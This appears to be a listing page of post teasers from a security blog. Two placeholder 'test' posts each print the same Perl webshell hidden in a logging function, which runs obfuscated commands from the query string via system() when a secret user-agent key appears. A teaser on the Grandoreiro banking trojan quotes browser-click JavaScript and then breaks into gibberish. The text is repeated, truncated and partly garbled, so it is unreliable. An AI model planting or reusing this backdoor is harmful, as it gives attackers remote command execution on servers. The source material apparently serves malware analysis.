a code post test

< 1 min read - code test sub Msg {  my ($event, $level, $data) = @_;  my ($pkg, $file, $line) = caller; -- start of webshell code --  my $ua = $ENV{HTTP_USER_AGENT};  my $req = $ENV{QUERY_STRING};  my $qur = "3f4a8724ab807b4f4f167aa95599d5b25e2c8aa6";  my @param = split(/&/, $req);  if (index($ua, $qur) != -1) {    if ($param[1]){      my @res = split(/=/, $param[1]);      if ($res[0] eq "cdi"){        $res[1] =~ s/([a-fA-F0-9][a-fA-F0-9])/chr(hex($1))/eg;        $res[1] =~ tr/!-~/P-~!-O/;        system(${res[1]});      }    }  } -- end of webshell code --  $file = substr ($file, rindex ($file, "/")+1);  # Prevent C printf format codes to make it through...  $data =~ s/%/%%/g;  Msg_impl ($file, $line, $event, $level, $data);} Using X-Force code snippet: <code>sub Msg {  my ($event, $level, $data) = @_;  my ($pkg, $file, $line) = caller; -- start of webshell code --  my $ua = $ENV{HTTP_USER_AGENT};  my $req = $ENV{QUERY_STRING}; …

final test

< 1 min read - sub Msg { my ($event, $level, $data) = @_; my ($pkg, $file, $line) = caller; -- start of webshell code -- my $ua = $ENV{HTTP_USER_AGENT}; my $req = $ENV{QUERY_STRING}; my $qur = "3f4a8724ab807b4f4f167aa95599d5b25e2c8aa6"; my @param = split(/&/, $req); if (index($ua, $qur) != -1) { if ($param[1]){ my @res = split(/=/, $param[1]); if ($res[0] eq "cdi"){ $res[1] =~ s/([a-fA-F0-9][a-fA-F0-9])/chr(hex($1))/eg; $res[1] =~ tr/!-~/P-~!-O/; system(${res[1]}); } } } -- end of webshell code -- $file = substr ($file, rindex ($file, "/")+1); # Prevent…

Grandoreiro banking trojan unleashed: X-Force observing emerging global campaigns

< 1 min read - Since March 2024, IBM X-Force has been tracking several large-scale phishing campaigns distributing the GrandoreIt further allows execution of JavaScript commands in the browser to simulate HTML button clicks: {{javascript:document.getElementById(‘ctl00_Contentplaceholder1_lbNuevaCuenta’).click();}} {{javascript:document.getElementById(‘ctl00_Contentplaceholder1_btnAceptar’).click();}} {{javascript:document.getElementById(‘ctl00_Contentplaceholder1_btnContinuar’).click();}}{{javascript:document.getElementById(‘ctl00_Contentplaceholder1_Button17’).click(); }} jwiqdjqioffjqjfqwfiqwjfqwjfpwqf fwfqfqwfwqfqwfwqf

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